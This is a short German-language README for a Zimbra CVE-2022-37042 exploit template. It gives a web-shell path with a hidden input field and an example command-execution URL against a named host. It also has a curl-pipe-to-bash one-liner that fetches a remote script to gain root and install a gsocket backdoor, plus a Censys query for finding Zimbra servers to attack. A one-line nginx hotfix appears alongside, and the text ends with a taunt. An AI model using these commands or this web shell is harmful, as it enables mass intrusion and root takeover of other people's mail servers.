CVE-2022-37042

Zimbra CVE-2022-37042 Nuclei-Exploit-Vorlage

Shell-Pfad: /public/formatter.jsp

Nuclei selbst: https://github.com/projectdiscovery/nuclei

Die Shell hat ein verstecktes Eingabefeld mit 0 Deckkraft. Fahren Sie einfach mit der Maus darüber, geben Sie den Befehl ein und drücken Sie dann die [Enter]-Taste:

Beispiel-Shell-URL:

https://ms1.fission.com:8443/public/formatter.jsp?cmd=id

CVE-2022-37042 Hotfix zum Patchen kompromittierter Server

Führen Sie diesen Befehl aus (nur einmal):

cd /opt/zimbra/conf/nginx/templates/; sed -i 's|location ~\* \^/zmerror_|location = /service/extension/backup/mboximport { return 403; }\n    location ~\* \^/zmerror_|' nginx.conf.web.http*; /opt/zimbra/bin/zmproxyctl restart;

Es wird zusätzlicher Code für Server benötigt, die nicht Nginx, sondern Apache verwenden. Pull-Requests sind willkommen.

Zimbra Root-Erlangung via zimbslap

curl -fskSL raw.githubusercontent.com/aels/zimbra-slapper/main/slapper.sh | bash 2>&1

Dieser Befehl installiert global-socket (https://www.gsocket.io/deploy/) und übergibt Ihnen den Schlüssel, um sich als root zu verbinden.

Zimbra-IPs abrufen

https://search.censys.io/search?resource=hosts&sort=RELEVANCE&per_page=100&virtual_hosts=EXCLUDE&q=services.http.response.html_tags%3A+%22%3Ctitle%3EZimbra+Web+Client+Sign+In%22

Frohes Geburtstagsmassaker, ihr Motherfucker ;)